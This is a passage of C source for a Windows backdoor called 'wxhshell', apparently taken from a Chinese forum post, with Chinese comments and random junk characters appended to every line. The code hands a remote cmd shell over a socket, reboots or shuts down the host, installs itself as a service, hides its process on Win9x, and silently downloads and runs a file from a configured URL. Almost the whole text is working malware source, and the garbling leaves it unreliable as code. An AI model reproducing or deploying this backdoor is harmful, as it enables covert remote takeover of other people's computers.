      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >vQ8~*xd  
    break; 8! eYax   
  } [GQn1ZLc  
  // 安装 FxU a5 n  
  case 'i': { Fi)(~ji:  
    if(Install()) +a3H1 tt~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jKr\mb  
    else P^[eTR*?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pLj[b4p9  
    break; *I]/ [d  
    } +2xgMN6B@  
  // 卸载 BK 3oNDy  
  case 'r': { jRiXN %  
    if(Uninstall()) #No3}O;"g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XM1; >#kz  
    else HpP82X xj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &?g!)O  
    break; ;P *`v  
    } E<RPMd @a  
  // 显示 wxhshell 所在路径 fofYe0z  
  case 'p': { ,="hI:*<  
    char svExeFile[MAX_PATH]; {ooztC   
    strcpy(svExeFile,"\n\r"); FD'yT8]"  
      strcat(svExeFile,ExeFile); cl04fqX  
        send(wsh,svExeFile,strlen(svExeFile),0); gcF:/@:Rm  
    break; !,lk>j.V  
    } 9]C%2!Ur,  
  // 重启 B/O0 ~y!n  
  case 'b': { AjVX  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); e dTFk$0  
    if(Boot(REBOOT)) OEw#;l4 C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {ty)2  
    else { .jUM'; l  
    closesocket(wsh); rjK]zD9  
    ExitThread(0); )E|{.K  
    } H2lQ(Y+H  
    break; )Cu2xRr^`  
    } ff&jR71E  
  // 关机 -wa"&Q  
  case 'd': { @yM$Et5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @U+#@6  
    if(Boot(SHUTDOWN)) /|0xOiib  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0rmcP1Ln  
    else {  LXoZ.3S  
    closesocket(wsh); mq}V @H5  
    ExitThread(0); n g%~mt  
    } ui RO,B}z  
    break; .8wf {y  
    } ZJe^MnE (G  
  // 获取shell `=V p 0tPI  
  case 's': { Gg e X  
    CmdShell(wsh); z~"Q_gme  
    closesocket(wsh); 5G2G<[p5oQ  
    ExitThread(0); j*\oK@  
    break; ?lE&o w  
  } [*C%u_h  
  // 退出  WD55(  
  case 'x': { /:tzSKq}  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); fUMjLA|*I<  
    CloseIt(wsh); }W)b  
    break; Jxf>!\:AZu  
    } Vy=P*  
  // 离开 3n,jrX75u  
  case 'q': { FI,K 0sO/|  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); jB<B_"  
    closesocket(wsh); oN2#Jh%dH  
    WSACleanup(); Q5c3C &$6  
    exit(1); /!?b&N/d)  
    break; EHy15RL  
        } \o*w#e[M  
  } ~R&rQJJeJ  
  } qj9[mBkP"  
U&i#cF   
  // 提示信息 Z`_x|cU?J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R_D&"&   
} C$p012D1  
  } $DXO7;#  
5tyA{&Ao  
  return; $K.DLqDt  
}  ZC]|s[  
NH;e|8  
// shell模块句柄 f&j\gYWq  
int CmdShell(SOCKET sock) A9lw^.  
{ cLEd -{x  
STARTUPINFO si; -4[eZ>$A|  
ZeroMemory(&si,sizeof(si)); 4E2#krE%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (gnN </%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Atb`Q'Yrw  
PROCESS_INFORMATION ProcessInfo; K@<*m!%<2  
char cmdline[]="cmd"; _TLspqi  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~s-bA#0S  
  return 0; 7]} I  
} R?zlZS.~  
idB1%?<  
// 自身启动模式 oi m7=I0  
int StartFromService(void) -:95ypi  
{ j!@T@ 8J  
typedef struct el U%Z9  
{ Siq]Ii0F;>  
  DWORD ExitStatus; XHxJzYMc  
  DWORD PebBaseAddress; >?1GJ5]\s  
  DWORD AffinityMask; ^KdT,^6T  
  DWORD BasePriority; fF(AvMsO  
  ULONG UniqueProcessId; (/2rj[F&  
  ULONG InheritedFromUniqueProcessId; t{>#)5Pqv  
}   PROCESS_BASIC_INFORMATION; ber&!9  
0$ON`Vsu|  
PROCNTQSIP NtQueryInformationProcess; &@,lF{KTL  
ZJF"Yo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; pV(k6h  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Z^]jy>dj  
'z^'+}iyv  
  HANDLE             hProcess; Ypl;jkHP  
  PROCESS_BASIC_INFORMATION pbi; ^^&H:q  
=@ acg0  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -<g[P_#  
  if(NULL == hInst ) return 0; e`co:HO`#  
vp2w^/])u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); l9C `:g  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "f8,9@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T_!F I29  
cHt4L]n8n  
  if (!NtQueryInformationProcess) return 0; Oe x   
]h~F%   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i9Beap/t$  
  if(!hProcess) return 0; 0J^Z)U>j  
H#7=s{u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *Lxt{z`9  
c0Bqm  
  CloseHandle(hProcess); wm^1Fn--  
}-sh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); w,X)g{^T  
if(hProcess==NULL) return 0; SHs [te[  
Lc?"4  
HMODULE hMod; m_Pk$Vwx  
char procName[255]; VQ,5&-9Y3  
unsigned long cbNeeded; 1TX3/]:  
tH&eKM4G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); tvf5b8(Y-  
?FNgJx*\S  
  CloseHandle(hProcess); y{&%]Fq <5  
k-a1^K3  
if(strstr(procName,"services")) return 1; // 以服务启动 A9N8Hav  
oexTz[  
  return 0; // 注册表启动 R(pQu! K4  
} P>u2""c  
)5n0P Zi  
// 主模块 0<:rp]<,  
int StartWxhshell(LPSTR lpCmdLine) P5h*RV>oS  
{ ?mM:oQH+>  
  SOCKET wsl; X31%T"  
BOOL val=TRUE; R<gAxO%8  
  int port=0; y9?*H?f,  
  struct sockaddr_in door; RhKDQGdd  
;zze.kb&F  
  if(wscfg.ws_autoins) Install(); 2q]ZI  
c7{s'ifG  
port=atoi(lpCmdLine); C$ K?4$  
J~xm[^0  
if(port<=0) port=wscfg.ws_port; `q\F C[W  
/k ?l%AH  
  WSADATA data;  H{yBD xw  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "!(@MfjT  
VRgckh m  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   n|?sNM<J3  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OM^`P  
  door.sin_family = AF_INET; =$+0p3[r  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); wl%ysM| x  
  door.sin_port = htons(port); m' S{P:TK  
A W6B[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { g33Y$Xdk  
closesocket(wsl); :R=7dH~r  
return 1; ]hy@5Jyh  
} :CezkD&  
Z2@e~&L  
  if(listen(wsl,2) == INVALID_SOCKET) { fd #QCs  
closesocket(wsl); xjF>AAM_Px  
return 1; g]JRAM  
} 8RuW[T?  
  Wxhshell(wsl); TghT{h@  
  WSACleanup(); <$hv{a  
0sA`})Dk  
return 0; E+EcXf  
Ek_&E7  
} \1&4wzT  
k&:q|[N  
// 以NT服务方式启动 @aN~97 H\  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k"%JyO8Y  
{ Nt]nwae>A  
DWORD   status = 0; AX&Emz-  
  DWORD   specificError = 0xfffffff; GIkeZV{4}  
Ct?xTFb  
  serviceStatus.dwServiceType     = SERVICE_WIN32; uPbdzUk$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wSCI?  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3N!v"2!#  
  serviceStatus.dwWin32ExitCode     = 0; \!jz1`]&{  
  serviceStatus.dwServiceSpecificExitCode = 0; 901 5PEO  
  serviceStatus.dwCheckPoint       = 0; TD*AFR3Oz  
  serviceStatus.dwWaitHint       = 0; ^tSwAanP\  
?D7zty+}^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); q)o;iR  
  if (hServiceStatusHandle==0) return; x4>"m(&%  
-6WSYpHV  
status = GetLastError(); AxH`4=3<  
  if (status!=NO_ERROR) BMQ4i&kF|  
{ ~N}Zr$D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 4,W,E4 7  
    serviceStatus.dwCheckPoint       = 0; #@w/S:KbJt  
    serviceStatus.dwWaitHint       = 0; J E5qR2VA  
    serviceStatus.dwWin32ExitCode     = status; Z_dL@\#|  
    serviceStatus.dwServiceSpecificExitCode = specificError; pzjNi=vhd  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8kSyT'k C%  
    return; ]8OmYU%6V  
  } Ake l.&  
etX(~"gG_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; \p}GW  
  serviceStatus.dwCheckPoint       = 0; hP{+`\&<f  
  serviceStatus.dwWaitHint       = 0; k,'MmAz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <\uDtbK  
} S&y${f  
/qwY/^  
// 处理NT服务事件,比如:启动、停止 !mWm@ }Ujg  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~iiDy;"  
{ i9rv8 "0>  
switch(fdwControl) iD%a;]  
{ |7n%8JsY!"  
case SERVICE_CONTROL_STOP: w(Tr ,BFF  
  serviceStatus.dwWin32ExitCode = 0; uVhzJu.  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; B 5qy4MFWs  
  serviceStatus.dwCheckPoint   = 0; tI^[|@,  
  serviceStatus.dwWaitHint     = 0; pRxVsOb  
  { FIAmAZH}_  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Isvb;VT9L  
  } pbqk  
  return; T*Ge67  
case SERVICE_CONTROL_PAUSE: = =Q*|L-g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -G?IXgG  
  break; P0_Ymn=&  
case SERVICE_CONTROL_CONTINUE: 7BqP3T=&_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )+Z.J]$O-  
  break; #H |p)2k  
case SERVICE_CONTROL_INTERROGATE: z19%!k  
  break; C|g1:#0  
}; ]oz>/\!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0|K<$e6IH  
} fuCt9Kjo<  
E@)'Z6r1  
// 标准应用程序主函数 vaHtWz!P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Uc ,..  
{ a{}#t}  
_I3"35a  
// 获取操作系统版本 /pU`-  
OsIsNt=GetOsVer(); B<Cg_C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ^.g-}r8,  
@qW$un:  
  // 从命令行安装 7I]?:%8 h  
  if(strpbrk(lpCmdLine,"iI")) Install(); x./"SQ=R+  
l O*  
  // 下载执行文件 %[~g84@  
if(wscfg.ws_downexe) { -vc$I=b;  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) = \oW {?  
  WinExec(wscfg.ws_filenam,SW_HIDE); 9C Ki$L  
} ,JbP~2M~%  
m :~y:.  
if(!OsIsNt) { .X)Wb{7  
// 如果时win9x,隐藏进程并且设置为注册表启动 5A 5t  
HideProc(); -#G>`T~  
StartWxhshell(lpCmdLine); ,Csjb1  
} P*%P"g  
else c=?6`m,"M  
  if(StartFromService()) i| ,}y`C#  
  // 以服务方式启动 vF~q".imC  
  StartServiceCtrlDispatcher(DispatchTable); Tj!\SbnA[  
else 5{iNR4sq  
  // 普通方式启动 /[/{m]  
  StartWxhshell(lpCmdLine); <"3${'$k`  
lx2%=5+i;  
return 0; -bSM]86  
}
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只看该作者 1 发表于: 2006-10-10
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